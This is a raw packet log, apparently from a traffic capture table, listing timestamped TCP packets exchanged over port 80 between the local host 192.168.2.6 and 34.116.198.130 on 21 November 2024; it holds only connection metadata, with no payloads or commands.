Nov 21, 2024 14:11:29.767601967 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.768235922 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.768332005 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.768404961 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.769032955 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.769140005 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.769182920 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.769823074 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.769932985 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.770025969 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.770675898 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.770829916 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.770896912 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.771414995 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.771542072 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.771666050 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.772211075 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.772264004 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.772329092 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.773020029 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.773144007 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.773210049 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.773798943 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.773895025 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.773992062 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.774607897 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.774677992 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.775146008 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.775372982 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.775463104 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.775520086 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.776196003 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.776331902 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.776412010 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.776973009 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.777335882 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.777400017 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.777431011 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.778192997 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.778281927 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.778289080 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.778917074 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.779007912 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.779094934 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.779786110 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.779887915 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.929025888 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.929084063 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.929255009 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.929333925 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.929510117 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.930079937 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.930145025 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.930222034 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.930329084 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.930927992 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.932745934 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.932806969 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.932853937 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.933094025 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.933177948 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.933321953 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.933356047 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.933449030 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.934108019 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.934262991 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.934343100 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.934844971 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.934973001 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.935072899 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.935667038 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.935724974 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.935821056 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.936511993 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.936578035 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.936635017 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.937233925 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.937377930 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.937436104 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.938066959 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.938188076 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.938255072 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.938868999 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.938976049 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.939107895 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.939666986 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.939872980 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.940270901 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.940433979 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.940556049 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.940645933 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.941231012 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.941370964 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.941785097 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.942008972 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.942159891 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.942259073 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.942822933 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.942955017 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.943331003 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.943645000 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.943769932 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.943819046 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.944427967 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.944547892 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.944890022 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.945353031 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.945403099 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.945461988 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.946047068 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.946186066 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.946660042 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.946814060 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.946911097 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.946969986 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.947670937 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.947817087 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.948131084 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.948453903 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.948538065 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.948602915 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.949204922 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.949323893 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.949623108 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.950021982 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.950145960 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.950352907 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.950803041 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.950917006 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.951042891 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.951670885 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.951761007 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.951828957 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.952398062 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.952495098 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.952560902 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.953183889 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.953315973 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.953427076 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.954024076 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.954127073 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.954179049 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.954787970 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.954906940 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.954955101 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.955600977 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.955712080 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.955753088 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.956393957 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.956502914 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.956674099 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.957240105 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.957443953 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.957540035 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.957979918 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.958102942 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.958204031 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.958791018 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.958923101 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.959034920 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.959595919 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.959738970 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.959822893 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.960388899 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.960583925 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.960671902 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.961184025 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.961302042 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.961441040 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.962018967 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.962120056 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.962158918 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.962807894 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.962908030 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.963083982 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.963551044 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.963710070 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.963767052 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.964358091 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.964484930 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.964533091 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.965156078 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.965271950 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.965332985 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.965941906 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.966149092 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.966227055 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.966898918 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.967016935 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.967057943 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.967583895 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.967637062 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.967727900 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.968537092 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.968592882 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.968674898 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.969217062 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.969377995 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.969758987 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.970051050 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.970138073 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.970187902 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.970839977 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.970943928 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.970985889 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:29.971570015 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.971641064 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:29.971739054 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.121062994 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.121107101 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.121164083 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.121215105 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.121332884 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.121450901 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.121973991 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.122095108 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.122148991 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.122766018 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.122848988 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.123106003 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.125025034 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.125149965 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.125368118 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.125385046 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.125557899 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.125619888 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.126183987 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.126316071 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.126709938 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.127039909 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.127259970 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.127335072 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.127826929 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.127991915 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.128480911 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.128751993 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.128803015 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.128871918 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.129401922 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.129555941 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.129897118 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.130186081 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.130294085 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.130368948 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.130943060 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.131083965 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.131150007 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.131786108 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.131897926 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.131985903 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.132548094 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.132651091 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.132707119 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.133407116 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.133517981 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.133706093 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.134234905 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.134350061 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.134478092 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.135024071 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.135111094 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.135162115 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.135735035 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.135854959 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.136008978 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.136565924 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.136691093 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.136754990 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.137334108 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.137466908 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.137835026 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.138362885 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.138483047 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.138566971 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.138914108 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.139072895 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.139728069 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.139878035 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.139899969 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.139950037 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.140575886 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.140780926 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.141297102 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.141387939 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.141417027 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.141504049 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.142210960 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.142396927 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.142467976 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.143534899 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.143610001 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.143718958 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.144198895 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.144260883 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.144309044 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.144961119 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.145061970 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.145158052 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.145584106 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.145746946 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.145783901 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.146344900 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.146411896 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.146450043 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.147038937 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.147109032 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.147203922 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.147691011 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.147814989 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.147866011 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.148497105 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.148585081 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.149046898 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.149271011 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.149373055 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.149429083 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.150065899 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.150300026 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.150537014 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.150896072 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.151014090 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.151078939 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.151689053 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.151799917 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.152147055 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.152456999 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.152595043 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.152651072 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.153266907 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.153379917 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.153424978 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.154090881 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.154213905 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.154386997 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.154874086 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.155006886 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.155103922 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.155680895 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.155828953 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.155895948 CET	49903	80	192.168.2.6	34.116.198.130
